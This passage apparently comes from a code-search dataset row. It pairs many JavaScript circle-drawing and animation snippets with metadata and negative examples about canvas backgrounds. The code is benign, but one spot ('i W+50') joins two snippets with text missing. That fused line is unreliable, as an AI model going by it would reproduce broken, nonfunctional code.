center\\n * @type Float32Array\\n */\\n this.v2fCenter = null;\\n\\n switch (arguments.length) {\\n case 0:\\n this.v2fCenter = Vec2.create();\\n break;\\n case 1:\\n this.v2fCenter = Vec2.create(arguments[0].v2fCenter);\\n this.fRadius = arguments[0].fRadius;\\n break;\\n case 2:\\n this.v2fCenter = Vec2.create(arguments[0]);\\n this.fRadius = arguments[1];\\n break;\\n case 3:\\n this.v2fCenter = Vec2.create();\\n this.v2fCenter.X = arguments[0];\\n this.v2fCenter.Y = arguments[1];\\n this.fRadius = arguments[2];\\n break;\\n }\\n ;\\n}\",\n \"function createCircle(radius) {\\n return {\\n radius,\\n draw() {\\n console.log('draw');\\n }\\n };\\n}\",\n \"function createCircle(radius) {\\n return {\\n radius,\\n draw() {\\n console.log('draw');\\n }\\n };\\n}\",\n \"function Circle(x, y, dx, dy, radius, color) {\\n this.x = x;\\n this.y = y;\\n this.dx = dx;\\n this.dy = dy;\\n this.radius = radius;\\n this.color = color;\\n\\n\\n this.draw = function(){\\n c.beginPath();\\n c.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\\n c.fillStyle = this.color;\\n c.fill();\\n c.closePath();\\n }\\n\\n\\n//****movement and edges\\n this.update = function(){\\n if (this.x + this.radius > innerWidth || this.x - this.radius < 0){\\n this.dx = -this.dx;\\n }\\n if (this.y + this.radius > innerHeight || this.y - this.radius < 0){\\n this.dy = -this.dy;\\n }\\n this.x += this.dx;\\n this.y += this.dy;\\n\\n this.draw();\\n }\\n}\",\n \"function drawDonut() {\\n for (let i = 0; i <= 360; i += angleStep) {\\n let x = width * sin(i);\\n let y = height * cos(i);\\n let z = 0;\\n let center = { x, y, z };\\n circlesVertices.push(createCircleVertices(center, i, 1));\\n }\\n drawVertices();\\n}\",\n \"function drawTarget() {\\n let circleSize = 400;\\n \\n //draw circles of decreasing size\\n for (let i = 0; i < NUM_CIRC; i++) {\\n ellipse(X_POS, Y_POS, circleSize, circleSize);\\n circleSize -= 40;\\n }\\n}\",\n \"function CircleMethods() {\\n const origin = [0, 0];\\n const pointA = [10, 20];\\n const pointB = [20, 0];\\n const pointC = [-15, -15];\\n\\n const radius = 20;\\n\\n const circleMethod1 = new makerjs.paths.Circle(radius);\\n const circleMethod2 = new makerjs.paths.Circle(origin, radius);\\n const circleMethod3 = new makerjs.paths.Circle(pointA, pointB);\\n const circleMethod4 = new makerjs.paths.Circle(pointA, pointB, pointC);\\n\\n this.paths = {\\n circleMethod1,\\n circleMethod2,\\n circleMethod3,\\n circleMethod4,\\n };\\n}\",\n \"function walkingCircle() {\\n addCircle(150, \\\"green\\\");\\n addCircle(300, \\\"blue\\\");\\n addCircle(600, \\\"purple\\\");\\n addCircle(searchRadius, \\\"black\\\");\\n}\",\n \"drawCircle () {\\n const context = this.canvas.getContext('2d')\\n const [x, y] = this.center\\n const radius = this.size / 2\\n\\n for (let angle = 0; angle <= 360; angle++) {\\n const startAngle = (angle - 2) * Math.PI / 180\\n const endAngle = angle * Math.PI / 180\\n context.beginPath()\\n context.moveTo(x, y)\\n context.arc(x, y, radius, startAngle, endAngle)\\n context.closePath()\\n context.fillStyle = 'hsl(' + angle + ', 100%, 50%)'\\n context.fill()\\n }\\n }\",\n \"function createCircle(radius){\\n return {\\n // radius <-----> radius = radius\\n radius,\\n draw(){\\n console.log('draw');\\n }\\n };\\n}\",\n \"function createCircle(radius) {\\n return {\\n radius,\\n draw() {\\n console.log(draw);\\n }\\n };\\n}\",\n \"function circle(a, b, x, r) {\\n for (var i = 0; i < x; i++) {\\n ctx.moveTo(r*a*Math.cos(i*2*Math.PI/x), r*b*Math.sin(i*2*Math.PI/x));\\n ctx.lineTo(r*a*Math.cos((i+1)*2*Math.PI/x), r*b*Math.sin((i+1)*2*Math.PI/x));\\n ctx.stroke();\\n }\\n }\",\n \"drawCircle(ctx, _x_loc, _y_loc, _radius, _speed_vector){\\n ctx.beginPath();\\n ctx.arc(_x_loc, _y_loc, _radius, 0, 2*Math.PI);\\n if (_speed_vector < 4)\\n ctx.fillStyle = \\\"#B6FF33\\\";\\n else if (_speed_vector < 8)\\n ctx.fillStyle = \\\"#FF9900\\\";\\n else{\\n ctx.fillStyle = ctx.createPattern(document.getElementById(\\\"ball\\\"), \\\"repeat\\\");\\n }\\n ctx.fill();\\n\\n }\",\n \"circle() {\\n const context = GameState.current;\\n\\n Helper.strewnSprite(\\n Helper.getMember(GroupPool.circle().members),\\n { y: context.game.stage.height },\\n { y: 2 },\\n (sprite) => {\\n this._tweenOfCircle(context, sprite);\\n }\\n );\\n }\",\n \"function createCircleAnimation(cords) {\\n\\tvar xy = cords.x + 'px ' + cords.y + 'px';\\n\\t$.keyframe.define([{\\n\\t\\tname: 'circle-in',\\n\\t\\tfrom: {'clip-path': 'circle( 0% at '+ xy + ')', '-webkit-clip-path': 'circle( 0% at '+ xy + ')', '-ms-clip-path': 'circle( 0% at '+ xy + ')'},\\n\\t\\tto: {'clip-path': 'circle(120% at '+ xy + ')', '-webkit-clip-path': 'circle(120% at '+ xy + ')', '-ms-clip-path': 'circle(120% at '+ xy + ')'},\\n\\t}]);\\n\\t$.keyframe.define([{\\n\\t\\tname: 'circle-out',\\n\\t\\tfrom: {'clip-path': 'circle(120% at '+ xy + ')', '-webkit-clip-path': 'circle(120% at '+ xy + ')', '-ms-clip-path': 'circle(120% at '+ xy + ')'},\\n\\t\\tto: {'clip-path': 'circle( 0% at '+ xy + ')', '-webkit-clip-path': 'circle( 0% at '+ xy + ')', '-ms-clip-path': 'circle( 0% at '+ xy + ')'},\\n\\t}]);\\n}\",\n \"function createCircle(radius) {\\n return {\\n radius,\\n draw() {\\n console.log(\\\"draw\\\");\\n }\\n };\\n}\",\n \"function Circle(x, y, dx, dy, radius, r, g, b) {\\n this.x = x;\\n this.y = y;\\n this.dx = dx;\\n this.dy = dy;\\n this.radius = radius;\\n this.minRadius = radius;\\n this.r = r;\\n this.g = g;\\n this.b = b;\\n this.color = colorArray[Math.floor(Math.random() * colorArray.length)]\\n\\n this.draw = function () {\\n c.beginPath();\\n c.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\\n // c.strokeStyle = `rgb(${r}, ${g}, ${b})`;\\n // c.fillStyle = `rgb(${r}, ${g}, ${b})`;\\n c.fillStyle = this.color\\n // c.stroke();\\n c.fill();\\n }\\n this.update = function () {\\n if (this.x + this.radius > innerWidth || this.x - this.radius < 0) {\\n this.dx = -this.dx;\\n }\\n if (this.y + this.radius > innerHeight || this.y - this.radius < 0) {\\n this.dy = -this.dy;\\n }\\n this.x += this.dx;\\n this.y += this.dy;\\n\\n\\n //INTERACTIVITY portion\\n if (mouse.x - this.x < 50 \\n && mouse.x - this.x > -50\\n && mouse.y - this.y < 50 \\n && mouse.y - this.y > -50) {\\n if (this.radius < maxRadius) {\\n this.radius += 1;\\n }\\n } else if (this.radius > this.minRadius) {\\n this.radius -= 1;\\n }\\n\\n this.draw();\\n }\\n}\",\n \"function circle(x,y,radius) { \\n ctx.beginPath();\\n ctx.arc(x, y, radius,0, 2*Math.PI);\\n ctx.fill();\\n ctx.stroke();\\n}\",\n \"function circlePath (pathX, pathY, x, y, r, s)\\n{\\n // Compute the number of steps given the speed\\n let nSteps = 2 * Math.PI * r / s;\\n // Clear the current path\\n pathX.length = 0;\\n pathY.length = 0;\\n // Add points to the path uniformly along a circle\\n for (let i = 0; i < nSteps; i ++)\\n {\\n pathX[i] = x + r * Math.sin(i * s / r);\\n pathY[i] = y + r * Math.cos(i * s / r);\\n }\\n}\",\n \"function shapes() {\\n for (x = -1; x <= (width / 100) + 1; x++) {\\n for (y = -1; y <= (height / 100) + 1; y++) {\\n // Checks if the object is moving right or left\\n if (posX) {\\n // Checks if the object is moving up or down\\n if (posY) {\\n // Object creation in the Right and Down direction\\n if (createCircles) {\\n ellipse((x * 100) + w, (y * 100) + z, 50, 50);\\n } else {\\n rect((x * 100) + w, (y * 100) + z, 45, 45);\\n }\\n // The else of the up/down check\\n } else {\\n // Object creation in the right and Up direction\\n if (createCircles) {\\n ellipse((x * 100) + w, (y * 100) - z, 50, 50);\\n } else {\\n rect((x * 100) + w, (y * 100) - z, 45, 45);\\n }\\n }\\n // The else of the right/left check\\n } else {\\n if (posY) {\\n // Object creation in the left and Down direction\\n if (createCircles) {\\n ellipse((x * 100) - w, (y * 100) + z, 50, 50);\\n } else {\\n rect((x * 100) - w, (y * 100) + z, 45, 45);\\n }\\n } else {\\n // Object creation in the left and Up direction\\n if (createCircles) {\\n ellipse((x * 100) - w, (y * 100) - z, 50, 50);\\n } else {\\n rect((x * 100) - w, (y * 100) - z, 45, 45);\\n }\\n }\\n }\\n }\\n }\\n}\",\n \"animateCircles() {\\n requestAnimationFrame(this.animateCircles.bind(this));\\n this.clearCanvas();\\n this.circles.forEach(circle => circle.update({\\n mouse_x: this.mouse.x,\\n mouse_y: this.mouse.y,\\n range: this.mouse.range,\\n particles: this.circles\\n }));\\n }\",\n \"function drawCircle(x,y,radius,color)\\r\\n{\\r\\n\\tdrawArc(x, y, radius, 0, Math.PI * 2, color);\\r\\n}\",\n \"function createCircle(radius) {\\n //Object Template\\n const circle = {\\n radius,\\n draw() {\\n console.log('Draw ' + radius);\\n }\\n }\\n\\n return circle;\\n}\",\n \"function generate_circles(){\\n\\t\\t\\tvar timerHasStarted = false; // reset the timer, don't start until after the circles are done being generated\\n\\t\\t\\tctx.clearRect(0, 0, window.innerWidth, window.innerHeight); // ensure no past canvas features are remaining\\n\\n\\t\\t\\tright_circs = gen_right_centers()\\n\\t\\t\\tfor(var i=0; i < right_circs.length; i++){\\n\\t\\t\\t\\t\\tctx.beginPath();\\n\\t\\t\\t\\t\\tctx.arc(right_circs[i].x, right_circs[i].y, r2, 0 ,2*Math.PI);\\n\\t\\t\\t\\t\\tctx.fillStyle = trial.circle_color;\\n\\t\\t\\t\\t\\tctx.fill();\\n\\t\\t\\t\\t\\tctx.closePath();\\n\\t\\t\\t}\\n\\n\\t\\t\\tleft_circs = gen_left_centers()\\n\\t\\t\\tfor(var i=0; i < left_circs.length; i++){\\n\\n\\t\\t\\t\\t\\tctx.beginPath();\\n\\t\\t\\t\\t\\tctx.arc(left_circs[i].x, left_circs[i].y, r1, 0 ,2*Math.PI);\\n\\t\\t\\t\\t\\tctx.fillStyle = trial.circle_color;\\n\\t\\t\\t\\t\\tctx.fill();\\n\\t\\t\\t\\t\\tctx.closePath();\\n\\t\\t\\t}\\n\\n\\t\\t\\tstartKeyboardListener();\\n\\t\\t\\tjsPsych.pluginAPI.setTimeout(function() {\\n end_trial();\\n \\t\\t}, trial.trial_duration);\\n\\t\\t}\",\n \"function circle2(x, y, r){\\n for(let a=Math.random(); a<180; a+=1+Math.random()*0.1234){\\n context.beginPath()\\n context.moveTo(x, y)\\n const xoff = Math.cos(a) * r + x\\n const yoff = Math.sin(a) * r + y\\n context.lineTo(xoff, yoff)\\n context.stroke()\\n }\\n}\",\n \"crearFormaDeTunelCircular(circleRadius = 10){\\r\\n\\t\\tvar shape = new THREE.Shape();\\r\\n\\t\\tshape.moveTo( circleRadius, 0 );\\r\\n\\t\\tshape.absarc( 0, 0, circleRadius, 0, 2 * Math.PI, false );\\r\\n\\r\\n\\t\\treturn shape;\\r\\n\\t}\",\n \"function circle(x, y, r) {\\n\\tctx.beginPath();\\n\\tctx.arc(x, y, r, 0, 6.28);\\n\\tctx.closePath();\\n\\tctx.fillStyle = \\\"peru\\\"\\n\\tctx.fill();\\n}\",\n \"function Circle(C, R = Math.random() * CANDY_START_RADIUS + CANDY_MIN_SIZE, M = CANDY_MASS, forcedString) {\\n var newCircle = {\\n C, // center\\n I: 0, // inertia\\n V: Vec2(M ? Math.random() * 1000 - 500 : 0, M ? Math.random() * -500 : 0), // velocity (speed)\\n M, // inverseMass (0 if immobile)\\n A: Vec2(0, M ? 250 : 0), // acceleration\\n B: 0, //M ? Math.random() * 7 : 0, // angle? could start at random rotation\\n D: 0, // angle velocity (stays on!)\\n E: 0, // angle acceleration,\\n R, // radius\\n // random emojoi! works on most modern devices but not all\\n //Z: String.fromCodePoint(0x1F600 + Math.random() * 69/*56*/ | 0)\\n // random letter A-Z\\n Z: forcedString || String.fromCharCode(65 + Math.floor(Math.random() * 26)),\\n //color: \\\"rgba(\\\"+rndInt(0,255)+\\\",\\\"+rndInt(0,255)+\\\",\\\"+rndInt(0,255)+\\\",1)\\\" //0.25)\\\"\\n color: \\\"rgba(\\\" + rndInt(64, 255) + \\\",\\\" + rndInt(64, 255) + \\\",\\\" + rndInt(64, 255) + \\\",1)\\\" //0.25)\\\"\\n //I: M, // (here it's simplified as M) Inertia = mass * radius ^ 2. 12 is a magic constant that can be changed\\n };\\n objects.push(newCircle);\\n return newCircle;\\n }\",\n \"function pointOnCircle(posX, posY, radius, angle) {\\n const x = posX + radius * p5.cos(angle)\\n const y = posY + radius * p5.sin(angle)\\n return p5.createVector(x, y)\\n}\",\n \"move (circles) {\\n circles.forEach((circle) => {\\n if (circle !== this) {\\n // detect collision with another circle\\n if (calculateDistance(circle, this) <= circle.radius + this.radius) {\\n this.changeDirectionX()\\n this.changeDirectionY()\\n }\\n\\n // draw the link between circles if in range\\n if (calculateDistance(circle, this) <= circle.radius + this.radius + linkDistance) {\\n drawLink(this, circle)\\n }\\n }\\n })\\n\\n if (this.x + this.direction.dirX + this.radius >= width ||\\n (this.x + this.direction.dirX) - this.radius <= 0) {\\n this.changeDirectionX()\\n }\\n\\n if (this.y + this.direction.dirY + this.radius >= height ||\\n (this.y + this.direction.dirY) - this.radius <= 0) {\\n this.changeDirectionY()\\n }\\n\\n this.x += this.direction.dirX\\n this.y += this.direction.dirY\\n\\n ctx.lineWidth = 3\\n this.render(canvas, ctx)\\n ctx.fill()\\n }\",\n \"function circle(args) {\\n\\t\\tvar ctx = args[0];\\n\\t\\tvar circeCenterX = args[1];\\t// Centro del cerchio, coordinata X\\n\\t\\tvar circeCenterY = args[2];\\t// Centro del cerchio, coordinata Y\\n\\t\\t\\n\\t\\tvar colorCircle = args[3];\\t// Colore del cerchio\\n\\t ctx.fillStyle = colorCircle;\\n\\t \\n\\t\\tctx.beginPath();\\n\\t /*\\n\\t Parametri funzione .arc(x, y, r, sAngle, eAngle):\\n\\t - x: coordinata X del centro del cerchio\\n\\t - y: coordinata X del centro del cerchio;\\n\\t - r: raggio;\\n\\t - sAngle: angolo di inizio in radianti\\n\\t - eAngle: angolo di fine in radianti\\n\\t */\\n\\t ctx.arc(circeCenterX, circeCenterY, 2, 0, 2 * Math.PI);\\n\\t ctx.stroke();\\n\\t ctx.fill();\\n\\t}\",\n \"function draw() {\\n \\n // Colouring the background\\n background(220);\\n\\n // Changing the x and the y position\\n xPosition = xPosition + xSpeed * xDirection;\\n yPosition = yPosition + ySpeed * yDirection;\\n\\n // Changing the x direction so that it bounces off\\n if (xPosition > width - radius || xPosition < radius) {\\n xSpeed *= -1;\\n }\\n\\n // Changing the y direction so that it bounces off\\n if (yPosition > height - radius || yPosition < radius) {\\n ySpeed *= -1;\\n }\\n\\n // Creating the ellipse\\n ellipse(xPosition, yPosition, radius, radius);\\n\\n}\",\n \"function Circle(x,y,r, color) { //circle object\\r\\n this.x = x;\\r\\n this.y = y;\\r\\n this.r = r;\\r\\n this.color = color;\\r\\n}\",\n \"function drawCircle(cArray){\\n\\t\\tvar circles = arguments[0];\\n\\t\\tfor(var i = 0; i < circles.length; i++){\\n\\t\\t\\t//画球\\n\\t\\t\\tctx.beginPath();\\n\\t\\t\\tctx.arc(circles[i].x,circles[i].y,circles[i].r,0,Math.PI*2,false);\\n\\t\\t\\tctx.fill();\\n\\t\\t\\t//球间连线\\n\\t\\t\\tctx.beginPath();\\n\\t\\t\\tctx.moveTo(circles[0].x,circles[0].y);\\n\\t\\t\\tctx.lineTo(circles[i].x,circles[i].y);\\n\\t\\t\\t\\n\\t\\t\\tctx.stroke();\\n\\t\\t}\\n\\t}\",\n \"function SimpleCircle(scene, radius, track_point=null) {\\n\\n // general\\n this.id = Nickel.UTILITY.assign_id();\\n this.type = 'SimpleCircle';\\n this.scene = scene;\\n this.canvas = scene.canvas;\\n this.context = this.canvas.getContext(\\\"2d\\\");\\n\\n // style\\n this.stroke_width = 1;\\n this.stroke_dash_length = 0;\\n this.stroke_gap_length = 0;\\n this.stroke_fill = null;\\n this.stroke_color = null;\\n\\n // size\\n this.radius = radius;\\n\\n // pos (initially hide the circle)\\n this.cx = -radius;\\n this.cy = -radius;\\n\\n // pos of extra point to be tracked\\n // (helps with origin related computation)\\n // (usually set to center of shape)\\n this.tracker = track_point;\\n\\n // other\\n this.dead = false;\\n this.visibility = true;\\n\\n this.update = function() {\\n //-- Called every frame.\\n //-- Updates changing parameters.\\n //--\\n\\n // skip if marked for deletion\\n if (this.dead == true) {\\n return;\\n }\\n\\n // user custom update\\n this.update_more();\\n\\n // render graphics\\n this.draw();\\n }\\n\\n this.draw = function() {\\n //-- Called every frame. Processes graphics\\n //-- based on current parameters.\\n //--\\n\\n // skip if marked for invisibility\\n if (this.visibility == false || this.dead == true) {\\n return;\\n }\\n\\n // skip if no stroke color\\n if (!this.stroke_color) {\\n return;\\n }\\n\\n // draw\\n var ctx = this.context;\\n ctx.save();\\n\\n // stroke properties\\n ctx.lineWidth = this.stroke_width;\\n ctx.setLineDash([this.stroke_dash_length, this.stroke_gap_length]);\\n ctx.fillStyle = this.stroke_fill;\\n ctx.strokeStyle = this.stroke_color;\\n\\n // draw circle\\n ctx.beginPath();\\n // (params: cx, cy, radius, start_angle, end_angle, anticlockwise?)\\n ctx.arc(this.cx,this.cy,this.radius,0,2*Math.PI,false);\\n ctx.stroke();\\n if (this.stroke_fill)\\n ctx.fill();\\n\\n ctx.restore();\\n }\\n\\n this.destroy = function() {\\n //-- Marks current instance for deletion\\n //--\\n\\n this.dead = true;\\n this.visibility = false;\\n }\\n\\n this.hide = function() {\\n //-- Marks current instance's visibility to hidden\\n //--\\n\\n this.visibility = false;\\n }\\n\\n this.show = function() {\\n //-- Marks current instance's visibility to shown\\n //--\\n\\n this.visibility = true;\\n }\\n\\n this.is_visible = function() {\\n //-- Returns if self is visible\\n //--\\n\\n return this.visibility;\\n }\\n\\n this.update_more = function() {\\n //-- Called in update. Meant to be over-ridden.\\n //--\\n\\n }\\n\\n this.get_tracker = function() {\\n //-- Returns track point\\n //--\\n\\n return this.tracker;\\n }\\n\\n this.set_tracker = function(track_point) {\\n //-- Sets a new track point\\n //--\\n\\n this.tracker = track_point;\\n }\\n\\n this.get_center = function() {\\n //-- Returns center of circle\\n //--\\n\\n return [this.cx, this.cy];\\n }\\n\\n this.set_center = function(new_center) {\\n //-- Centers self onto a position\\n //--\\n\\n if (this.tracker) {\\n this.tracker[0] += new_center[0] - this.cx;\\n this.tracker[1] += new_center[1] - this.cy;\\n }\\n\\n this.cx = new_center[0];\\n this.cy = new_center[1];\\n }\\n\\n this.shift_pos = function(shiftx, shifty) {\\n //-- Shifts center position\\n //--\\n\\n this.cx += shiftx;\\n this.cy += shifty;\\n\\n if (this.tracker) {\\n this.tracker[0] += shiftx;\\n this.tracker[1] += shifty;\\n }\\n }\\n\\n this.set_pos = function(point) {\\n //-- Translates self where center point\\n //-- is at the given point (proxy to 'set_center')\\n //--\\n\\n this.set_center(point);\\n }\\n\\n this.scale_around = function(scale, point) {\\n //-- Scales x,y center position and radius\\n //-- of self from/to a point\\n //--\\n\\n this.scale_around2(scale, scale, scale, point);\\n }\\n\\n this.scale_around2 = function(scalex, scaley, scaler, point) {\\n //-- Scales x,y center position and radius\\n //-- of self from/to a point\\n //--\\n\\n this.cx = scalex * (this.cx - point[0]) + point[0];\\n this.cy = scaley * (this.cy - point[1]) + point[1];\\n this.radius *= scaler;\\n\\n if (this.tracker) {\\n this.tracker[0] = scalex * (this.tracker[0] - point[0]) + point[0];\\n this.tracker[1] = scaley * (this.tracker[1] - point[1]) + point[1];\\n }\\n }\\n\\n this.rotate_around = function(degrees, point) {\\n //-- Applies a rotation transformation to centerpoint\\n //--\\n\\n var radians = degrees*Math.PI/180*-1;\\n\\n var tmpx = this.cx - point[0];\\n var tmpy = this.cy - point[1];\\n this.cx = tmpx * Math.cos(radians) - tmpy * Math.sin(radians) + point[0];\\n this.cy = tmpx * Math.sin(radians) + tmpy * Math.cos(radians) + point[1];\\n\\n if (this.tracker) {\\n\\n var tmpx = this.tracker[0] - point[0];\\n var tmpy = this.tracker[1] - point[1];\\n this.tracker[0] = tmpx * Math.cos(radians) - tmpy * Math.sin(radians) + point[0];\\n this.tracker[1] = tmpx * Math.sin(radians) + tmpy * Math.cos(radians) + point[1];\\n }\\n }\\n \\n this.copy_base = function() {\\n //-- Copies self using basic properties\\n //--\\n \\n var new_tracker = [this.tracker[0], this.tracker[1]];\\n var new_circle = new SimpleCircle(this.scene,this.radius,new_tracker);\\n new_circle.set_center([this.cx, this.cy]);\\n new_circle.stroke_width = this.stroke_width;\\n new_circle.stroke_dash_length = this.stroke_dash_length;\\n new_circle.stroke_gap_length = this.stroke_gap_length;\\n new_circle.stroke_fill = this.stroke_fill;\\n new_circle.stroke_color = this.stroke_color;\\n new_circle.update_more = this.update_more;\\n return new_circle;\\n }\\n\\n //\\n // proxy functions:\\n //\\n\\n this.offset_position = function(offx, offy) {\\n //-- shift_pos proxy\\n //--\\n\\n this.shift_pos(offx, offy);\\n }\\n\\n this.offset_turn = function(angle, point) {\\n //-- rotate_around proxy\\n //--\\n\\n this.rotate_around(angle, point);\\n }\\n\\n this.offset_scale = function(scale, point) {\\n //-- scale_around proxy\\n //--\\n\\n this.scale_around(scale, point);\\n }\\n}//end SimpleCircle\",\n \"createParticle() {\\n noStroke();\\n fill('rgba(200,169,169,random(0,1)');\\n circle(this.x, this.y, this.r);\\n }\",\n \"function generate_circle(shape, center) {\\n var radius = shape.dimensions['r'];\\n var rotation = shape.rotation;\\n var pinned = shape.pinned;\\n var vertices = [];\\n\\n // Approximate the circle with a polygon\\n var sides = 30; // Number of sides for the polygon approximation\\n var theta = 0;\\n for (var i = 0; i < sides; i++) {\\n theta += (2*Math.PI)/sides;\\n vertices.push({x: (radius * Math.cos(theta)) + center.x,\\n y: radius * Math.sin(theta) + center.y})\\n }\\n\\n // Adjust nodes to be defined from center of shape\\n for (i of shape.nodes) {\\n i['x'] += center.x\\n i['y'] += center.y\\n }\\n\\n new_shape = {\\n vertices: vertices,\\n nodes: shape.nodes,\\n pinned: shape.pinned,\\n center: center\\n }\\n\\n return new_shape;\\n}\",\n \"circlePath (x, y, r) {\\n return \\\"M\\\" + x + \\\",\\\" + y + \\\" \\\" +\\n \\\"m\\\" + -r + \\\", 0 \\\" +\\n \\\"a\\\" + r + \\\",\\\" + r + \\\" 0 1,0 \\\" + r * 2 + \\\",0 \\\" +\\n \\\"a\\\" + r + \\\",\\\" + r + \\\" 0 1,0 \\\" + -r * 2 + \\\",0Z\\\";\\n }\",\n \"function initManyCircles() \\r\\n{\\r\\n\\tfor (let i = 0; i < noc; i++) \\r\\n\\t{\\r\\n\\t\\trandomInitialize();\\r\\n\\r\\n\\t\\tcircleArr.push(new Circle(center_x_pos,center_y_pos,radius,arc_start,arc_end,colour,dx,dy));\\r\\n\\t}\\t\\r\\n}\",\n \"function EvilCircle(x, y, velX, velY, exists, color, size) {\\n Shape.call(this, x, y, 20, 20, exists);\\n this.color = color;\\n this.size = size;\\n}\",\n \"function createCircle (number) {\\n return new Circle({\\n id: number,\\n x: Math.floor((Math.random() * (width - maxCircleRadius)) + maxCircleRadius),\\n y: Math.floor((Math.random() * (height - maxCircleRadius)) + maxCircleRadius),\\n radius: Math.floor((Math.random() * maxCircleRadius) + minCircleRadius),\\n direction: { dirX: Math.random() * animationSpeed, dirY: Math.random() * animationSpeed }\\n })\\n}\",\n \"function Circle ( x, y, r){\\n Shape.call(this,x,y); //powiązanie x y koła z x y kształtu!!\\n this.r = r; \\n\\n}\",\n \"function createFilledCircle(x,y,radius,color){\\n let circle = GOval(x - radius,y - radius,2 * radius,2 * radius);\\n circle.setColor(color);\\n circle.setFilled(true);\\n return circle;\\n }\",\n \"function circle18(x, y, r){\\n for(let a=0; a<1000; a++){\\n context.beginPath()\\n let rt = r * Math.pow(Math.random(), 1/4)\\n let theta = Math.random() * Math.PI * 2\\n const xoff = Math.cos(theta) * rt + x\\n const yoff = Math.sin(theta) * rt + y\\n context.arc(xoff, yoff, 10, 0, 2 * Math.PI)\\n context.stroke()\\n }\\n}\",\n \"constructor (position, speed, radius, color) {\\n this.position = position;\\n this.speed = speed;\\n this.radius = radius;\\n this.color = color;\\n this.imgX = this.position.x - this.radius;\\n }\",\n \"function createCircle() {\\n $.get(\\\"/shape/circle\\\", function (data, status) {\\n var obj = JSON.parse(data);\\n app.drawCircle(obj.loc,obj.radius,obj.color);\\n }, \\\"json\\\");\\n}\",\n \"function Circle(x, y, dx, dy, radius, minimumRadius) {\\n this.x = x;\\n this.y = y;\\n this.dx = dx;\\n this.dy = dy;\\n this.radius = radius;\\n this.minimumRadius = radius;\\n this.color = colors[Math.round(Math.random() * colors.length - 1)];\\n\\n this.draw = function () {\\n c.beginPath(); //need to have this beginPath to prevent the begin point connect to the previous\\n c.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\\n c.fillStyle = this.color;\\n // c.fillStyle = colors[Math.round(Math.random()*colors.length - 1)] //randomize the color, but this will blink\\n c.fill();\\n };\\n\\n this.update = function() {\\n this.x = this.x + this.dx;\\n this.y = this.y + this.dy;\\n c.beginPath();\\n c.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\\n\\n if (this.x > innerWidth - this.radius || this.x < 0 + this.radius) {\\n this.dx = -this.dx;\\n };\\n if (this.y > innerHeight - this.radius || this.y < 0 + this.radius) {\\n this.dy = -this.dy;\\n };\\n\\n //interactivity\\n if (mouse.x - this.x < 50 && mouse.x - this.x > -50 && mouse.y - this.y < 50 && mouse.y - this.y > -50) {\\n if(this.radius < maximumRadius){\\n this.radius += 1;\\n }\\n } else if (this.radius > this.minimumRadius) {\\n this.radius -= 1;\\n } //make sure the circle have a distance from the mouse x horizontally and vertically\\n //and make sure they are within the maximum and minimum radius range;\\n\\n this.draw();\\n }\\n\\n}\",\n \"function drawCircle(context){\\r\\n\\tconsole.log(\\\"drawing circles\\\");\\r\\n\\tfor(i = 0; i < circles.length; i++){\\r\\n\\t\\tcontext.beginPath();\\r\\n\\t\\tvar x = circles[i].xCenter;\\r\\n\\t\\tvar y = circles[i].yCenter;\\r\\n\\t\\tvar radius = circles[i].radius;\\r\\n\\t\\tconsole.log(\\\"drawing a circle at (\\\" + x + \\\", \\\" + y + \\\") with radius\\\" + radius);\\r\\n\\t\\tcontext.arc(x, y, radius, 0, 2*Math.PI);\\r\\n\\t\\tcontext.stroke();\\r\\n\\t}\\r\\n}\",\n \"function createCircle(radius) {\\n let c = {\\n radius,\\n draw: function() {\\n console.log(\\\"draw\\\");\\n }\\n };\\n return c;\\n}\",\n \"createParticle() {\\n noStroke();\\n fill('rgba(200,169,169,1)');\\n circle(this.x,this.y,this.r);\\n }\",\n \"function Circle(radius) {\\n this.radius = radius;\\n}\",\n \"function SequentialCircles(radius) {\\n const gap = 10;\\n const arr = generateRadius(radius, 5);\\n // console.log(arr, 'arr');\\n\\n this.paths = {};\\n\\n let y = gap;\\n for (const r of arr) {\\n // console.log(r, 'r');\\n const circle = new makerjs.paths.Circle([0, y + r], r);\\n y += 2 * r + gap;\\n this.paths['circle_' + r] = circle;\\n }\\n}\",\n \"function Circle(radius) {\\n this.radius = radius; \\n}\",\n \"function newCircle() {\\n x = random(windowWidth);\\n y = random(windowHeight);\\n r = random(255);\\n g = random(255);\\n b = random(255);\\n}\",\n \"constructor(x = 0, y = 0, vx = 0, vy = 0, theta = 0, av = 0, pts = f.geometry.shape.square(), circles = [], density = 1, springConstant = .5) {\\n super(x, y, vx, vy, theta, av, pts, circles, density);\\n }\",\n \"function printCircles(){ /**This function prints out all the coloured circles to the screen*/\\r\\n\\tfor(let i=0;i W+50) c.x = -50;\n\t\t\tif(c.y > H+50) c.y = -50;\n\t\t}\n\t}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function drawBackground() {\n\t// Draw the background\n\tcolorRect(0, 0, canvas.width, canvas.height, '#333');\n}","function drawBackground() {\n ctx.fillStyle = COLOR_BACKGROUND;\n ctx.fillRect(0, 0, width, height);\n}","function Background() {\n\tctx.beginPath();\n\tctx.rect(0, 0, 1140, 600);\n\tctx.fillStyle = \"black\";\n\tctx.fill();\n}","drawbackground(){\n CTX.fillStyle = \"#41f459\";\n CTX.fillRect(this.x,this.y, this.width, this.height);\n\n\n }","function drawBackground() {\n\tcontext.save();\n\tcontext.fillStyle = \"#f0f0ff\";\n\tcontext.fillRect(0, 0, canvas.width, canvas.height);\n\tcontext.translate(0, canvas.height - 50);\n\tcontext.fillStyle = \"#007f00\";\n\tcontext.fillRect(0, 0, canvas.width, 50);\n\tcontext.restore();\n}","drawBackground() {\n this.cxt.fillStyle = '#FFE5CE'\n this.cxt.fillRect(0, 0, this.width, this.height)\n }","function drawBackground() {\n context.fillStyle = \"gray\";\n context.fillRect(0, 0, canvas.width, canvas.height);\n}","function drawBackground() {\r\n context.drawImage(backgroundCanvas, 0, 0);\r\n }","backgroundDisplay() {\n push();\n rectMode(CORNER);\n noStroke();\n fill(this.color);\n rect(this.x, this.y, this.width, this.height);\n pop()\n }","function drawBG()\n{\n ctx.beginPath();\n ctx.rect(0, 0, DEFAULT_CANVAS_SIZE, 